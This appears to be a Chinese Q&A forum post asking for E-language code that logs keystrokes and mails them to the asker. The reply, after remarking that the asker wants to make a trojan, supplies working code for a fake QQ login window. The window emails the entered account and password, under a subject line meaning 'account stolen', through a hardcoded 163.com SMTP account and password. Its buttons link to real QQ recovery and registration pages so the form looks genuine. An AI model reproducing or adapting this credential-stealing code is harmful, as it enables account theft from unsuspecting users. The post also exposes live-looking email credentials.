用易语言编写键盘记录发送到自己的邮箱的代码

你想做木马？？

.版本 2
.支持库 internet
.支持库 eAPI

.程序集 窗口程序集1

.子程序 _透明标签1_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型

.如果 (连接发信服务器 (“smtp.163.com”, , “yypxpy@163.com”, “19971018yyp”, ) ＝ 真)

.否则

.如果结束
.如果 (发送邮件 (“号盗到手了!”, “号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容, “wdxwj@vip.qq.com”, , , “yypxpy@163.com”, ) ＝ “”)

.否则

.如果结束

销毁 ()

.子程序 _透明标签2_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型

销毁 ()

.子程序 _透明标签3_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型

打开指定网址 (“http://aq.qq.com/cn/findpsw/findpsw_index?source_id=1003&ptlang=2052&aquin=&ADUIN=0&ADSESSION=0&ADTAG=CLIENT.QQ.3073_ForgetPsw.0”)

.子程序 _透明标签4_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型

打开指定网址 (“http://zc.qq.com/?from=client&ptlang=2052&ADUIN=0&ADSESSION=0&ADTAG=CLIENT.QQ.3073_NewAccount_Btn.0”)